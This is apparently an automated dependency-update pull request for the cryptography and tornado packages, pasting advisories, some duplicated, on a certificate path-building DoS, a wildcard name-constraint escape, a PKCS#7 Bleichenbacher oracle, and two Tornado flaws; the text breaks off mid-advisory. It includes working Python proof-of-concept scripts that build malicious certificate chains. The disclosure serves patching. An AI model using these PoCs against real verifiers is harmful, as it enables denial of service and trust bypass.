chore(deps): [ai] Update vulnerabilityAlerts to v50.0.1 [SECURITY]

[renovate-bot]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
cryptography (changelog)	50.0.0 → 50.0.1
tornado (source)	6.5.7 → 6.5.8

---

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

---

Vulnerable OpenSSL included in cryptography wheels

GHSA-537c-gmf6-5ccf

More information

Details

pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/pyca/cryptography/security/advisories/GHSA-537c-gmf6-5ccf
• https://github.com/pyca/cryptography
• https://openssl-library.org/news/secadv/20260609.txt

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

CVE-2026-69249 / GHSA-jwv3-5hgf-82ww / PYSEC-2026-3553

More information

Details

Summary

When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details

The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.

    fn build_chain_inner(
        &self,
        working_cert: &VerificationCertificate<'chain, B>,
        current_depth: u8,
        working_cert_extensions: &Extensions<'chain>,
        name_chain: NameChain<'_, 'chain>,
        budget: &mut Budget,
    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {
        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
            name_chain.evaluate_constraints(&nc.value()?, budget)?;
        }

        // Look in the store's root set to see if the working cert is listed.
        // If it is, we've reached the end.
        if self.store.contains(working_cert) {
            return Ok(vec![working_cert.clone()]);
        }

        // Check that our current depth does not exceed our policy-configured
        // max depth. We do this after the root set check, since the depth
        // only measures the intermediate chain's length, not the root or leaf.
        if current_depth > self.policy.max_chain_depth {
            return Err(ValidationError::new(ValidationErrorKind::Other(
                "chain construction exceeds max depth".into(),
            )));
        }

        // Otherwise, we collect a list of potential issuers for this cert,
        // and continue with the first that verifies.
        let mut last_err: Option<ValidationError<'_, B>> = None;
        for issuing_cert_candidate in self.potential_issuers(working_cert) {
            // A candidate issuer is said to verify if it both
            // signs for the working certificate and conforms to the
            // policy.
            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
            match self.policy.valid_issuer(
                issuing_cert_candidate,
                working_cert,
                current_depth,
                &issuer_extensions,
            ) {
                Ok(_) => {
                    match self.build_chain_inner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
          for issuing_cert_candidate in self.potential_issuers(working_cert) {
          . . .
                  Ok(_) => {
                      if seen_valid_issuers.contains(&issuing_cert_candidate) {
                         continue;
                      }
                      seen_valid_issuers.push(issuing_cert_candidate);
 
                      match self.build_chain_inner(
                          issuing_cert_candidate,
                          // NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s,       -> 4,8,rejected,0.002410
5,7,timeout>5s,       -> 5,7,rejected,0.002640
6,6,timeout>5s,       -> 6,6,rejected,0.002829

PoC

The following script benchmarks processing times for malicious cert chains.

import datetime
import multiprocessing
import time

import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
    DNSName,
    PolicyBuilder,
    Store,
    VerificationError,
)

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=True,
    crl_sign=True,
    encipher_only=False,
    decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=False,
    crl_sign=False,
    encipher_only=False,
    decipher_only=False,
)

def name(common_name):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])

def base_builder(subject, issuer, public_key, serial):
    return (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(public_key)
        .serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
    )

def make_ca(common_name, serial):
    private_key = ec.generate_private_key(ec.SECP256R1())
    subject = name(common_name)
    cert = (
        base_builder(subject, subject, private_key.public_key(), serial)
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(CA_KEY_USAGE, True)
        .add_extension(
            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
            False,
        )
        .sign(private_key, hashes.SHA256())
    )
    return private_key, cert

def make_leaf(issuer_key, issuer_cert):
    private_key = ec.generate_private_key(ec.SECP256R1())
    return (
        base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(EE_KEY_USAGE, True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
            False,
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

def build_material():
    looping_key, looping_ca = make_ca("looping self-signed CA", 1)
    _, unrelated_root = make_ca("unrelated trust anchor", 2)
    leaf = make_leaf(looping_key, looping_ca)
    return leaf, looping_ca, unrelated_root

def verify_case(duplicates, max_depth, queue):
    leaf, looping_ca, unrelated_root = build_material()
    verifier = (
        PolicyBuilder()
        .store(Store([unrelated_root]))
        .time(NOW)
        .max_chain_depth(max_depth)
        .build_server_verifier(DNSName("example.com"))
    )

    start = time.perf_counter()
    try:
        verifier.verify(leaf, [looping_ca] * duplicates)
        result = "accepted"
    except VerificationError:
        result = "rejected"
    queue.put((result, time.perf_counter() - start))

def run_case(duplicates, max_depth):
    queue = multiprocessing.Queue()
    process = multiprocessing.Process(
        target=verify_case,
        args=(duplicates, max_depth, queue),
    )
    process.start()
    process.join(TIMEOUT)

    if process.is_alive():
        process.terminate()
        process.join()
        print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
        return

    result, elapsed = queue.get()
    print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")

if __name__ == "__main__":
    print("duplicates,max_depth,result,seconds")
    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
        run_case(*case)

Impact

This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

Severity

• CVSS Score: 8.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww
• https://github.com/pyca/cryptography/pull/14960
• https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582
• https://github.com/pyca/cryptography

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

CVE-2026-69248 / GHSA-m2h6-j472-rp4c / PYSEC-2026-3554

More information

Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

##### Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

##### Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

##### Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

##### Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Severity

• CVSS Score: 6.9 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c
• https://github.com/pyca/cryptography/pull/14888
• https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2
• https://github.com/pyca/cryptography

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

CVE-2026-69249 / GHSA-jwv3-5hgf-82ww / PYSEC-2026-3553

More information

Details

Summary

When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details

The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.

    fn build_chain_inner(
        &self,
        working_cert: &VerificationCertificate<'chain, B>,
        current_depth: u8,
        working_cert_extensions: &Extensions<'chain>,
        name_chain: NameChain<'_, 'chain>,
        budget: &mut Budget,
    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {
        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
            name_chain.evaluate_constraints(&nc.value()?, budget)?;
        }

        // Look in the store's root set to see if the working cert is listed.
        // If it is, we've reached the end.
        if self.store.contains(working_cert) {
            return Ok(vec![working_cert.clone()]);
        }

        // Check that our current depth does not exceed our policy-configured
        // max depth. We do this after the root set check, since the depth
        // only measures the intermediate chain's length, not the root or leaf.
        if current_depth > self.policy.max_chain_depth {
            return Err(ValidationError::new(ValidationErrorKind::Other(
                "chain construction exceeds max depth".into(),
            )));
        }

        // Otherwise, we collect a list of potential issuers for this cert,
        // and continue with the first that verifies.
        let mut last_err: Option<ValidationError<'_, B>> = None;
        for issuing_cert_candidate in self.potential_issuers(working_cert) {
            // A candidate issuer is said to verify if it both
            // signs for the working certificate and conforms to the
            // policy.
            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
            match self.policy.valid_issuer(
                issuing_cert_candidate,
                working_cert,
                current_depth,
                &issuer_extensions,
            ) {
                Ok(_) => {
                    match self.build_chain_inner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
          for issuing_cert_candidate in self.potential_issuers(working_cert) {
          . . .
                  Ok(_) => {
                      if seen_valid_issuers.contains(&issuing_cert_candidate) {
                         continue;
                      }
                      seen_valid_issuers.push(issuing_cert_candidate);
 
                      match self.build_chain_inner(
                          issuing_cert_candidate,
                          // NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s,       -> 4,8,rejected,0.002410
5,7,timeout>5s,       -> 5,7,rejected,0.002640
6,6,timeout>5s,       -> 6,6,rejected,0.002829

PoC

The following script benchmarks processing times for malicious cert chains.

import datetime
import multiprocessing
import time

import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
    DNSName,
    PolicyBuilder,
    Store,
    VerificationError,
)

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=True,
    crl_sign=True,
    encipher_only=False,
    decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=False,
    crl_sign=False,
    encipher_only=False,
    decipher_only=False,
)

def name(common_name):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])

def base_builder(subject, issuer, public_key, serial):
    return (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(public_key)
        .serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
    )

def make_ca(common_name, serial):
    private_key = ec.generate_private_key(ec.SECP256R1())
    subject = name(common_name)
    cert = (
        base_builder(subject, subject, private_key.public_key(), serial)
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(CA_KEY_USAGE, True)
        .add_extension(
            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
            False,
        )
        .sign(private_key, hashes.SHA256())
    )
    return private_key, cert

def make_leaf(issuer_key, issuer_cert):
    private_key = ec.generate_private_key(ec.SECP256R1())
    return (
        base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(EE_KEY_USAGE, True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
            False,
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

def build_material():
    looping_key, looping_ca = make_ca("looping self-signed CA", 1)
    _, unrelated_root = make_ca("unrelated trust anchor", 2)
    leaf = make_leaf(looping_key, looping_ca)
    return leaf, looping_ca, unrelated_root

def verify_case(duplicates, max_depth, queue):
    leaf, looping_ca, unrelated_root = build_material()
    verifier = (
        PolicyBuilder()
        .store(Store([unrelated_root]))
        .time(NOW)
        .max_chain_depth(max_depth)
        .build_server_verifier(DNSName("example.com"))
    )

    start = time.perf_counter()
    try:
        verifier.verify(leaf, [looping_ca] * duplicates)
        result = "accepted"
    except VerificationError:
        result = "rejected"
    queue.put((result, time.perf_counter() - start))

def run_case(duplicates, max_depth):
    queue = multiprocessing.Queue()
    process = multiprocessing.Process(
        target=verify_case,
        args=(duplicates, max_depth, queue),
    )
    process.start()
    process.join(TIMEOUT)

    if process.is_alive():
        process.terminate()
        process.join()
        print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
        return

    result, elapsed = queue.get()
    print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")

if __name__ == "__main__":
    print("duplicates,max_depth,result,seconds")
    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
        run_case(*case)

Impact

This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

Severity

• CVSS Score: 8.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww
• https://github.com/pyca/cryptography/pull/14960
• https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582
• https://github.com/pyca/cryptography
• https://pypi.org/project/cryptography
• https://github.com/advisories/GHSA-jwv3-5hgf-82ww
• https://nvd.nist.gov/vuln/detail/CVE-2026-69249

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

CVE-2026-69248 / GHSA-m2h6-j472-rp4c / PYSEC-2026-3554

More information

Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

##### Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

##### Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

##### Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

##### Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Severity

• CVSS Score: 6.9 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c
• https://github.com/pyca/cryptography/pull/14888
• https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2
• https://github.com/pyca/cryptography
• https://pypi.org/project/cryptography
• https://github.com/advisories/GHSA-m2h6-j472-rp4c
• https://nvd.nist.gov/vuln/detail/CVE-2026-69248

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing

CVE-2026-69247 / GHSA-g6cj-pr64-35w5 / PYSEC-2026-3552

More information

Details

Summary

pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the
outcome of decrypting a RecipientInfo's encryptedKey in several
distinguishable ways, one of which disclosed the exact length recovered from the
RSA operation. The same distinction was also observable by timing. An
application that decrypts attacker-supplied EnvelopedData and reflects the
outcome gives the attacker a Bleichenbacher oracle against the
content-encryption key.

Introduced in 44.0.0. Fixed in 50.0.0.

Details

Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES
cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed
differently, with no RFC 3218 mitigation:

1. invalid RSA padding → Decryption failed
2. valid padding, bad key length → Invalid key size (N) for AES., disclosing N
3. correct length, wrong key → Invalid padding bytes.
4. the real key → plaintext

Case 1 is reachable only where the linked library lacks implicit rejection:
OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,
invalid padding instead returns a synthetic plaintext of
pseudorandom length, so the error channel does not distinguish conforming
ciphertexts.

Exploitation requires a service that auto-decrypts untrusted EnvelopedData
matching the victim certificate and answers adaptively at high volume, such as
an S/MIME gateway or mail filter.

Fix

Per RFC 3218, the content-encryption algorithm is now resolved before the
private key is used, so the expected key length is known in advance. If the RSA
decryption fails or recovers a key of the wrong length, a random key of the
expected length is substituted and decryption continues down an identical path.
All failures now report identically and perform the same work.

Not addressed by this fix

EnvelopedData does not authenticate its content. Tampering with
encryptedContent alone yields a CBC padding oracle that recovers plaintext at
roughly 256 queries per byte, without recovering any key, on every backend. This
is a property of PKCS#7 rather than of this implementation, cannot be fixed in
the library, and is now documented.

Credit

Reported by @​X1AOxiang.

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5
• https://github.com/pyca/cryptography/pull/15369
• https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f
• https://github.com/pyca/cryptography

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing

CVE-2026-69247 / GHSA-g6cj-pr64-35w5 / PYSEC-2026-3552

More information

Details

Summary

pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the
outcome of decrypting a RecipientInfo's encryptedKey in several
distinguishable ways, one of which disclosed the exact length recovered from the
RSA operation. The same distinction was also observable by timing. An
application that decrypts attacker-supplied EnvelopedData and reflects the
outcome gives the attacker a Bleichenbacher oracle against the
content-encryption key.

Introduced in 44.0.0. Fixed in 50.0.0.

Details

Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES
cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed
differently, with no RFC 3218 mitigation:

1. invalid RSA padding → Decryption failed
2. valid padding, bad key length → Invalid key size (N) for AES., disclosing N
3. correct length, wrong key → Invalid padding bytes.
4. the real key → plaintext

Case 1 is reachable only where the linked library lacks implicit rejection:
OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,
invalid padding instead returns a synthetic plaintext of
pseudorandom length, so the error channel does not distinguish conforming
ciphertexts.

Exploitation requires a service that auto-decrypts untrusted EnvelopedData
matching the victim certificate and answers adaptively at high volume, such as
an S/MIME gateway or mail filter.

Fix

Per RFC 3218, the content-encryption algorithm is now resolved before the
private key is used, so the expected key length is known in advance. If the RSA
decryption fails or recovers a key of the wrong length, a random key of the
expected length is substituted and decryption continues down an identical path.
All failures now report identically and perform the same work.

Not addressed by this fix

EnvelopedData does not authenticate its content. Tampering with
encryptedContent alone yields a CBC padding oracle that recovers plaintext at
roughly 256 queries per byte, without recovering any key, on every backend. This
is a property of PKCS#7 rather than of this implementation, cannot be fixed in
the library, and is now documented.

Credit

Reported by @​X1AOxiang.

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5
• https://github.com/pyca/cryptography/pull/15369
• https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f
• https://github.com/pyca/cryptography
• https://pypi.org/project/cryptography
• https://github.com/advisories/GHSA-g6cj-pr64-35w5
• https://nvd.nist.gov/vuln/detail/CVE-2026-69247

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

Tornado has out-of-bounds memory access via C extension

CVE-2026-49854 / GHSA-cx3h-4qpv-8hc9

More information

Details

Summary

Tornado's optional native extension tornado.speedups implements websocket_mask without validating that the mask argument is exactly four bytes long. The C function reads four bytes from mask unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.

The behavior is reachable from Tornado's XSRF token decoder when xsrf_cookies=True and the native extension is active.

Mitigations

This bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).

Severity

• CVSS Score: 3.7 / 10 (Low)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

References

• https://github.com/tornadoweb/tornado/security/advisories/GHSA-cx3h-4qpv-8hc9
• https://github.com/tornadoweb/tornado/releases/tag/v6.5.6
• https://github.com/advisories/GHSA-cx3h-4qpv-8hc9

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Tornado: Authorization header forwarded across cross-origin redirects in SimpleAsyncHTTPClient

CVE-2026-49853 / GHSA-3x9g-8vmp-wqvf

More information

Details

Summary

When SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements max_redirects, and removes only the Host header. It does not clear Authorization, auth_username, auth_password, or auth_mode when the redirect target changes origin.

As a result, credentials intended for one origin can be forwarded to a different origin when follow_redirects=True, which is the default.

